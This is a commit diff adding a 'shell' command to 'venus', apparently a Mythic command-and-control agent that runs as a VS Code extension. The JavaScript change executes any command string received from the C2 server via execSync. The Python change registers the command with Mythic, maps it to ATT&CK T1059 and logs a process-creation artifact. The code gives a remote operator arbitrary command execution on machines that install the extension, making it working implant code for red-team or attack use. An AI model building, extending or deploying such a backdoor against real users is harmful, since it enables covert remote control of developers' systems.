Implement a synchronous 'shell' command

- Records a 'Process Create' artifact for every command run

Closes #31

Author: mattreduce

Payload_Type/venus/agent_code/extension.js

@@ -1,5 +1,6 @@
 const vscode = require('vscode');
 const os = require('os');
+const { execSync } = require("child_process");
 const url = require('url');
 
 const axios = require('axios').default;
@@ -117,6 +118,10 @@ function handleTasks(context, tasks) {
 			case 'pwd':
 				output = process.cwd()
 				break
+			case 'shell':
+				const cmd = JSON.parse(parameters)['command']
+				output = execSync(cmd).toString()
+				break
 		}
 		postTaskResponse(callbackUUID, taskID, output)
 	}

Payload_Type/venus/mythic/agent_functions/shell.py

@@ -0,0 +1,47 @@
+from CommandBase import *
+from MythicResponseRPC import *
+import json
+
+class ShellArguments(TaskArguments):
+    def __init__(self, command_line):
+        super().__init__(command_line)
+        self.args = {
+            "command": CommandParameter(
+                name="command", type=ParameterType.String, description="Command to run"
+            )
+        }
+
+    async def parse_arguments(self):
+        if len(self.command_line) > 0:
+            if self.command_line[0] == "{":
+                self.load_args_from_json_string(self.command_line)
+            else:
+                self.add_arg("command", self.command_line)
+        else:
+            raise ValueError("Missing arguments")
+
+class ShellCommand(CommandBase):
+    cmd = "shell"
+    needs_admin = False
+    help_cmd = "shell {command}"
+    description = "This uses the execSync() Node.js function to execute arbitrary shell commands."
+    version = 1
+    is_exit = False
+    is_file_browse = False
+    is_process_list = False
+    is_download_file = False
+    is_remove_file = False
+    is_upload_file = False
+    author = "@mattreduce"
+    attackmapping = ["T1059"]
+    argument_class = ShellArguments
+
+    async def create_tasking(self, task: MythicTask) -> MythicTask:
+        resp = await MythicResponseRPC(task).register_artifact(
+            artifact_instance="{}".format(task.args.get_arg("command")),
+            artifact_type="Process Create",
+        )
+        return task
+
+    async def process_response(self, response: AgentResponse):
+        pass